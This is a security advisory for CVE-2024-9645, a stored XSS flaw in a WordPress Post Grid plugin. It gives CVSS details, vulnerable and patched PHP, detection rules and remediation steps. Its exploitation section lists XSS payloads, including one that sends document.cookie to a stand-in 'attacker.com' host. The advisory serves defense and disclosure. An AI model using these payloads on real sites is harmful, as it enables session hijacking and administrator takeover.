CVE-2024-9645

Executive Summary

CVE-2024-9645 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Post Grid, Posts Slider, Posts Carousel, Post Filter, Post Masonry WordPress plugin by Pickplugins. This plugin is widely used to create dynamic content layouts on WordPress sites. The vulnerability arises from insufficient validation and escaping of block options before they are output in a page or post where the block is embedded. An authenticated attacker with at least the Contributor role can inject arbitrary JavaScript into the plugin’s block settings, which will then execute in the browsers of any user viewing the affected page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vendor has released version 2.2.93 to address this issue.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should ensure they are using the latest version from a trusted source. No supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor role)
• User Interaction: None
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for a Contributor-level user to execute stored XSS can lead to significant downstream attacks, including privilege escalation to Administrator if an admin views the compromised page.

Deep Dive & Mechanics

The vulnerability exists in the block editor (Gutenberg) integration of the Post Grid plugin. The plugin registers custom blocks that allow users to configure various display options. These options are stored as attributes in the block’s JSON representation within the post content.

The flaw is in the render_block function or similar output function that processes these block attributes. The plugin fails to properly escape or sanitize certain block options (e.g., custom CSS classes, HTML attributes, or JavaScript event handlers) before outputting them directly into the HTML of the page. An attacker with Contributor access can craft a block with malicious JavaScript embedded in one of these unsanitized options. When the post is viewed, the script executes in the context of the victim’s browser.

Attack Flow:

1. Attacker logs in as a Contributor.
2. Creates or edits a post/page using the Post Grid block.
3. Injects a payload like "><img src=x onerror=alert(1)> into a vulnerable block option (e.g., "Container Class" or "Item Class").
4. Publishes or saves the post as a draft.
5. Any user (including Administrators) viewing the post triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.2.93):

// In a render function, e.g., render_block.php
$container_class = $attributes['containerClass'] ?? '';
echo '<div class="' . $container_class . '">'; // No escaping

Patched Code (version 2.2.93):

// In a render function, e.g., render_block.php
$container_class = $attributes['containerClass'] ?? '';
echo '<div class="' . esc_attr($container_class) . '">'; // Properly escaped

The fix uses esc_attr() to escape the attribute value, preventing the injection of additional HTML attributes or JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Post Grid plugin version < 2.2.93.
• User account with Contributor role or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post.
3. Add the "Post Grid" block.
4. In the block settings, locate a vulnerable field (e.g., "Container Class").
5. Inject the following payload:

   " autofocus onfocus="alert(document.cookie)
   

6. Update the post.
7. When an Administrator views the post, the XSS triggers, exfiltrating cookies.

Example Payload for Session Hijacking:

" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts created by Contributor users containing suspicious HTML attributes in block content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in post content.

Hardening:

• Immediately update the plugin to version 2.2.93.
• Restrict the Contributor role from using custom HTML/JavaScript in blocks if possible.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• File: Modified post content in the wp_posts table containing <script> tags or event handlers like onfocus, onmouseover.
• Log: WordPress audit logs showing post edits by Contributor users with unusual block attributes.
• Browser: Unexpected pop-ups or redirects when viewing posts with Post Grid blocks.

Detection Engineering

YARA Rule

rule Detect_Post_Grid_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-9645 in WordPress post content"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9645"
    strings:
        $payload1 = /on\w+\s*=\s*['"][^'"]*['"]/ nocase
        $payload2 = /<script[^>]*>.*<\/script>/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Post Grid Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using the Post Grid plugin (CVE-2024-9645)
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains|all:
            - 'post-grid'
            - 'on'
            - '='
    condition: selection
falsepositives:
    - Legitimate use of event handlers in block settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9645 Stored XSS in Post Grid Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post-grid"; http_client_body; pcre:"/(on\w+\s*=\s*['\"][^'\"]*['\"])|(<script[^>]*>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade to version 2.2.93 or later from the WordPress Plugin Directory.
2. Scan for Compromise: Check all posts/pages for injected XSS payloads using the YARA rule above.
3. Reset Compromised Accounts: If any Administrator accounts were compromised, reset passwords and revoke session tokens.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS.
• Enforce Content Security Policy (CSP) headers.
• Regularly audit user roles and permissions.
• Subscribe to security advisories for all installed plugins.

Valters IT
Securing Digital Frontiers